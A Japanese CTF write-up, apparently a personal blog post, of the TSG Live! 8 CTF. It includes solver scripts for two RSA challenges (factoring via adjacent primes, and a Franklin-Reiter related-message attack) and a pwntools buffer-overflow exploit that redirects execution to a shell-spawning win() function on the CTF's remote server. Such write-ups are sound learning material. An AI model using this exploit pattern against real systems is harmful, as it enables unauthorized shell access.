1. はじめに
2022/5/14(土)12:33 JST ～ 14:13 JSTに開催された「TSG Live! 8 CTF」にチーム「N30Z30N」でソロ参加しました。この記事はその参戦記です。*1
2. 参戦準備について
競技時間は100分ですが、並行して「m0leCon CTF 2022 Teaser」と「TJCTF 2022」に参戦していたのと、前日の疲労がヤバいレベルで HP も MP もほぼ空だったので、栄養ドリンクとスイーツを補給したうえ、昼食はゲン担ぎを兼ねてロースかつ弁当としました。
zer0pts CTF の時の反省を踏まえ*2、ひとまず「途中離脱せず、100分もたせる」だけの体制を整えることはできました。
3. とけたぜ！（Crypto: two keys）
いつものとおり、Crypto 全完を目標（出来るとは言っていない）に、まずは forgetful rsa を覗いてみましたが、「out.txt がデカくてツラ」と思って後回しにし、two keys に着手しました。
ファイル：「main.py」
from Crypto.Util.number import * from flag import flag def nextPrime(n): while True: n += 1 if isPrime(n): return n class RSA: def __init__(self, p, q): assert isPrime(p) and isPrime(q) self.p = p self.q = q self.e = 65537 self.d = pow(self.e, -1, (self.p-1) * (self.q-1)) def encrypt(self, x): return pow(x, self.e, self.p * self.q) def decrypt(self, y): return pow(y, self.d, self.p * self.q) def printPublicKey(self): print(f"N = {self.p * self.q}") print(f"e = {self.e}") p = getPrime(512) q = getPrime(512) pp = nextPrime(p) qq = nextPrime(q) rsa1 = RSA(p, q) rsa2 = RSA(pp, qq) x1 = int.from_bytes(str.encode(flag[:len(flag)//2]), "big") x2 = int.from_bytes(str.encode(flag[len(flag)//2:]), "big") y1 = rsa1.encrypt(x1) y2 = rsa2.encrypt(x2) assert x1 == rsa1.decrypt(y1) assert x2 == rsa2.decrypt(y2) print("First half:") rsa1.printPublicKey() print(f"y = {y1}") print() print("Second half:") rsa2.printPublicKey() print(f"y = {y2}")
ファイル：「output.txt」
First half: N = 56857358946783738817465975297711204069935415016419932538392922530218921201217352346494361968035470184308357037387164930109496691365401965670237349367799774405061235025947852274083877022468072607753900481316564650009744632767993278947752127202134753913008582254000854930780954253903124752186965795809304941831 e = 65537 y = 54129553452548020723616698595285587704861441821682175273940519683163638301529404696982989366696324064594396066797701089154672560828427185057071836681043144874565113154501014407283089885871224438534781940829559886228137883794445606551971734932755694582218804069846658338752506228081788324414191778266867960340 Second half: N = 56857358946783738817465975297711204069935415016419932538392922530218921201217352346494361968035470184308357037387164930109496691365401965670237349367805332556208545324190423359112543995138089627600000504956531406110700016755090783444147649357626603184673602899015609448577621960908326053341685493162553923683 e = 65537 y = 54904189490273836503960200711350004725920576885881641688173306274762202573095421887773308652425204453956153996353028898080968805699877265273638393099277340479488951192104954084070323022216313855632506411275865181376283939786423085736432815359399351894579725901517442688632028924262380544819047494361593650323
慣用句に「馬●の一つ覚え」というのがありますが、今回それをやらかしてしまいました。p の nextpime が pp なので、Approximate GCD が使えるだろうと早とちりしたのですが、q の nextprime が qq なので、仮に格子的な計算が成功したとしても N1（あるいは N2） が結果として出てきてしまうものと考えられ、明らかに適用外です！
それに気づいたのが開始後30分くらいのところで、気を取り直して pp - p を i 、qq - q を j と置いて考え直すことにしました。このとき、
N2 = (p + i) * (q + j) = N1 + p * i + q * j + i * j
であるから、
p * i + q * j = N2 - N1 - i * j
であり、
(p * i) * (q * j) = N1 * i * j
なので、(p * i)、(q * j)は二次方程式
x ** 2 - (N2 - N1 - i * j) * x + N1 * i * j = 0
の根となります。i と j はそう大きくはないのですが、テキトーに 1000 くらいで回しています。
ここで、解の公式をミスって 2 で割るのを忘れたり、方程式の解を i や j で割るのを忘れたりして gdgd になり*3、さらに時間を溶かしてしまいました。ゲフー。
ソルバ：
from Crypto.Util.number import * import gmpy2 N1 = 56857358946783738817465975297711204069935415016419932538392922530218921201217352346494361968035470184308357037387164930109496691365401965670237349367799774405061235025947852274083877022468072607753900481316564650009744632767993278947752127202134753913008582254000854930780954253903124752186965795809304941831 y1 = 54129553452548020723616698595285587704861441821682175273940519683163638301529404696982989366696324064594396066797701089154672560828427185057071836681043144874565113154501014407283089885871224438534781940829559886228137883794445606551971734932755694582218804069846658338752506228081788324414191778266867960340 N2 = 56857358946783738817465975297711204069935415016419932538392922530218921201217352346494361968035470184308357037387164930109496691365401965670237349367805332556208545324190423359112543995138089627600000504956531406110700016755090783444147649357626603184673602899015609448577621960908326053341685493162553923683 y2 = 54904189490273836503960200711350004725920576885881641688173306274762202573095421887773308652425204453956153996353028898080968805699877265273638393099277340479488951192104954084070323022216313855632506411275865181376283939786423085736432815359399351894579725901517442688632028924262380544819047494361593650323 e = 65537 def nextPrime(n): while True: n += 1 if isPrime(n): return n for i in range(1,1000): for j in range(1,1000): pi_qj = N2 - N1 - i*j piqj = N1 * i * j D = pi_qj**2 - 4 * piqj if D <= 0: continue sqrt_d = gmpy2.iroot(D,2) if sqrt_d[1]: _p = (pi_qj + sqrt_d[0]) // 2 _q = (pi_qj - sqrt_d[0]) // 2 if _p * _q == N1 * i * j: if _p % i == 0: if isPrime(_p//i): p = _p // i q = _q // j break break elif _p % j == 0: if isPrime(_p//j): p = _p // j q = _q // i break assert p*q == N1 pp = nextPrime(p) qq = nextPrime(q) phi1 = (p-1)*(q-1) phi2 = (pp-1)*(qq-1) d1 = inverse(e,phi1) d2 = inverse(e,phi2) flag = long_to_bytes(pow(y1,d1,N1)) + long_to_bytes(pow(y2,d2,N2)) print(flag)
TSGLIVE{Stream_is_constant_and_never_stay_same_Lets_enjoy_the_moment}
問題はとけたけど、時間もとけたぜ！
この時点で残り50分を切っていました。まじかー。
4. またとけたぜ！（Crypto: forgetful rsa）
どうにか 1 問解けたので、保留にした forgetful rsa を着手しました。
ファイル：「main.py」
from Crypto.Util.number import getPrime, bytes_to_long p = getPrime(512) q = getPrime(512) N = p * q phi = (p - 1) - (q - 1) e = 0x101 d = pow(e, -1, phi) with open('flag.txt', 'rb') as f: flag = bytes_to_long(f.read()) c = [] for i in range(flag.bit_length() + 1): c.append(pow(flag >> i, e, N)) print(f'c = {c}')
ファイル：「output.txt」
c = [19661487556550173493222456303072249341128453473916777331601345886246260652672968856337899787318668971952757647302217421772241409687795270927563918837382385552171026687263046224651645163713025012640427349067255170649334161813431643452731116450224128521046939950596124929737426726946632117485058945846215672223, 24220404081896610633277469417205140322382224442431077123020794421691596062692635322323543128953400149095301549476903842494275594384117575011718682419172618321743925099045859899620669668344043395324430107211824351943367008843247741404264797624145441772738078613575341050070951582713006379516500669603348424068, #＜中略＞ ,1,0]
なんと、公開鍵（modulus）が与えられていません！ただ、多数の良いデータがあるのでここから導出できそうな感じです。
また、exponent は 0x101 なので、このあたりにも解き方のヒントがありそうだと思いました。
この問題は、１）modulus の特定 ２）復号（平文ゲット）の 2 段階で解きました。
1）moduls（N）の特定
まず、フラグの末尾は「}」（0x7d = 0b111101）と推測できるので*4、flag>>1 は偶数です。よって、flag>>2 = (flag>>1) // 2 であり、x: = flag>>1 とおくと、
c[2] * 2 ** e = pow(x//2, e, N) * 2 ** e ≡ pow(x,e,N) = c[1] (mod N)
ですから、
N0 := c[2] * 2 ** e - c[1]
は N の倍数です。
あとは、同様の理由で c[i+1] * 2**e - c[i] が N の倍数になる場合が多数出てきますので、これらをテキトーに拾って N0 と GCD してゆけば N が求まります。正確には、ビット数で評価すべきなのでしょうが競技なので適当な回数回して「助さん角さん、もういいでしょう」的な感じでヨシとしてしまいました。
前半のソルバ：
from Crypto.Util.number import * import gmpy2 e = 0x101 c = [＜省略＞] N0 = c[2] * 2**e - c[1] N = N0 for i in range(2,100): tmp = gmpy2.gcd(N, c[i+1] * 2**e - c[i]) if tmp < 2**1023: continue N = tmp print(N) # N = 142643935303446381001279947550591766064860638332732560752396406069081171879061311344991121502015387733157095870331363131417418514982044480403293728339899298554597845932712399673486772631075556012586672082574811346123474551631303197292734503133958141848155519486123242876455089596670804942778448421334181752913
2）復号（フラグゲット）
後半は c からフラグを導出しますが、使うのは c[0] と c[1] だけです。フラグの末尾は「}」（0x7d = 0b111101）だとすれば flag は奇数なので、flag>>1 は(flag-1)//2 と等しくなります。つまり、
flag ^ e - c[0] ≡ 0 mod N
(flag - 1) ^ e - c[1] * inv_2 ^ e = 0 mod N （inv_2 = inverse(2,N)）
が成り立つので、Franklin Reiter Attack を適用できます。e も多項式 GCD 計算に耐えられるくらいには小さいので、おそらくこれが想定解なのでしょう。
後半のソルバ（sage）：
from Crypto.Util.number import long_to_bytes def polynomial_gcd(g1, g2): if g1.degree() > g2.degree(): g1, g2 = g2, g1 g1 = g1.monic() g2 = g2.monic() if g1.degree() == 1: return g1 else: return polynomial_gcd(g1, g2 % g1) def Franklin_Reiter_Attack(g1, g2): return -polynomial_gcd(g1,g2).coefficients()[0] e = 0x101 N = 142643935303446381001279947550591766064860638332732560752396406069081171879061311344991121502015387733157095870331363131417418514982044480403293728339899298554597845932712399673486772631075556012586672082574811346123474551631303197292734503133958141848155519486123242876455089596670804942778448421334181752913 c0 = 19661487556550173493222456303072249341128453473916777331601345886246260652672968856337899787318668971952757647302217421772241409687795270927563918837382385552171026687263046224651645163713025012640427349067255170649334161813431643452731116450224128521046939950596124929737426726946632117485058945846215672223 c1 = 24220404081896610633277469417205140322382224442431077123020794421691596062692635322323543128953400149095301549476903842494275594384117575011718682419172618321743925099045859899620669668344043395324430107211824351943367008843247741404264797624145441772738078613575341050070951582713006379516500669603348424068 c1 = c1 * pow(2,e,N) % N R.<x> = PolynomialRing(Zmod(N)) f0 = x^e - c0 f1 = (x-1)^e- c1 f0 = f0.monic() f1 = f1.monic() result = Franklin_Reiter_Attack(f0,f1) print(long_to_bytes(int(result)))
TSGLIVE{mY_m3MoRy-m4y_Impr0ve_s0me_D4y..._b1t_by_6it!}
サクサクできたつもりでも、この時点で残り 20 分弱。また時間がとけたぜ。ひぇー。
5. まだだ、まだ終わらんよ！（Pwn: bpxover）
chall.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h> void win() { char *argv[] = {"/bin/sh", NULL}; execve("/bin/sh", argv, NULL); } int main(void) { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); char buf[16]; puts("hello :)"); scanf("%s", buf); long x = strtoll(buf, NULL, 10); asm ("xor %0, %%rbp\n\t" : : "r" (x)); return 0; }
終了間際の常套句。「まだだ、まだ終わらんよ！」
とりあえず、一番 solve 数の多そうな bpxover にチャレンジ。
しかし、ここにきてキーボードが入力できんとは！
ええぃ、再起動！
果たして解き終わったとき、スコアボードは closed。無念。。。*5
Exploit:
from pwn import * import sys key = 0x4011b6 if 'remote' in sys.argv: r = remote('chall.live.ctf.tsg.ne.jp', 30006) else: r = process('./chall') buf = b'0'* 40 r.recvuntil("hello :)") buf += p64(key) r.sendline(buf) r.interactive()
TSGLIVE{welcome_overflowwwwwwwwww}
※フラグ投入未遂
6. おわりに
「程よく解きやすく（guessingとは無縁）、しかし決して甘くはない。」
そんな CTF だったと思います。そして、そんな CTF が大好きです。作問陣・運営陣の皆様、ありがとうございました。
今年の TSG CTF が楽しみです。
